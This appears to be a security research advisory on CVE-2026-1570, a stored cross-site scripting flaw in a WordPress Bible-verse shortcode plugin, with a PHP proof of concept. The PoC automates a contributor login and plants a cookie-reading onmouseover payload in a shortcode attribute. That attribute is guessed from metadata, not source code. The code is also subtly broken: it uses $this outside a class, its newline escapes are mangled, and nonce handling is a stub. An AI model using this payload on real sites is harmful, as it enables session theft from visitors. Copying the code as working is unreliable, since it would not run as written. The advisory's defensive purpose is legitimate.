Atomic Edge analysis of CVE-2026-1570 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Simple Bible Verse via Shortcode WordPress plugin. The vulnerability affects the plugin’s `verse` shortcode in version 1.1 and earlier. Attackers with contributor-level privileges or higher can inject malicious scripts that execute when visitors view compromised pages. The CVSS score of 6.4 reflects medium severity with scope change impact.
The root cause is insufficient input sanitization and output escaping on user-supplied shortcode attributes. Atomic Edge research infers the plugin processes shortcode attributes without proper validation before rendering them in page output. The CWE-79 classification confirms improper neutralization during web page generation. Without source code, this conclusion is inferred from the vulnerability description and CWE classification, but matches typical WordPress shortcode XSS patterns.
Exploitation requires an authenticated attacker with contributor privileges creating or editing a post. The attacker embeds the `[verse]` shortcode with malicious attributes containing JavaScript payloads. When WordPress renders the post, the plugin outputs the unsanitized attribute values directly into HTML, executing the script in visitors’ browsers. No specific endpoint is required beyond standard WordPress post editing functionality.
Remediation requires implementing proper input sanitization and output escaping. The plugin should validate and sanitize all shortcode attributes using WordPress functions like `sanitize_text_field()` or `wp_kses()`. Output should be escaped with `esc_attr()` for HTML attributes and `esc_html()` for text content. WordPress shortcode API functions like `shortcode_atts()` with sanitization callbacks provide built-in protection.
Successful exploitation allows attackers to perform actions as visiting users. Attackers can steal session cookies, redirect users to malicious sites, or modify page content. Since contributor-level users can create posts but not publish them, exploitation requires an editor or administrator to approve malicious posts, or the attacker needs author or editor privileges for direct publishing.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1570 - Simple Bible Verse via Shortcode <= 1.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode
<?php
/**
* Proof of Concept for CVE-2026-1570
* This script demonstrates stored XSS via the 'verse' shortcode.
* Assumptions:
* 1. Target site has vulnerable plugin version 1.1 installed
* 2. Attacker has valid contributor credentials
* 3. WordPress uses standard login and post creation endpoints
* 4. Shortcode accepts arbitrary attributes that are output without escaping
*/
$target_url = 'https://vulnerable-wordpress-site.com'; // CHANGE THIS
$username = 'contributor_user'; // CHANGE THIS
$password = 'contributor_password'; // CHANGE THIS
// XSS payload - alerts session cookie when page loads
$payload = '" onmouseover="alert(document.cookie)" x="';
// Create shortcode with malicious attribute
$shortcode = '[verse book="Genesis" chapter="1" verse="1" custom_attr=' . $payload . ']';
// Login to WordPress
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
// Verify login success by checking for admin bar
if (strpos($response, 'wp-admin-bar') === false) {
die('Login failed. Check credentials.');
}
// Create new post with malicious shortcode
$post_url = $target_url . '/wp-admin/post-new.php';
$post_data = array(
'post_title' => 'Bible Study Notes',
'content' => 'This post contains a Bible verse: ' . $shortcode . 'nnStudy the scripture carefully.',
'post_status' => 'pending', // Contributor posts require approval
'action' => 'editpost',
'_wpnonce' => $this->extract_nonce($response), // Would need actual nonce extraction
'post_type' => 'post',
'submit' => 'Publish'
);
// Note: Actual implementation requires nonce extraction from page
// This PoC shows the attack vector but needs nonce handling for complete automation
echo 'Attack vector demonstrated. Manual steps required:n';
echo '1. Log in as contributor at ' . $login_url . 'n';
echo '2. Create new post with this shortcode: ' . $shortcode . 'n';
echo '3. Submit for editor approvaln';
echo '4. When editor approves and visitors view post, XSS executesn';
curl_close($ch);
// Helper function placeholder for nonce extraction
function extract_nonce($html) {
// In real PoC, extract nonce from meta tag or form field
// preg_match('/name="_wpnonce" value="([a-f0-9]+)"/', $html, $matches);
return 'NONCE_REQUIRED';
}
?>
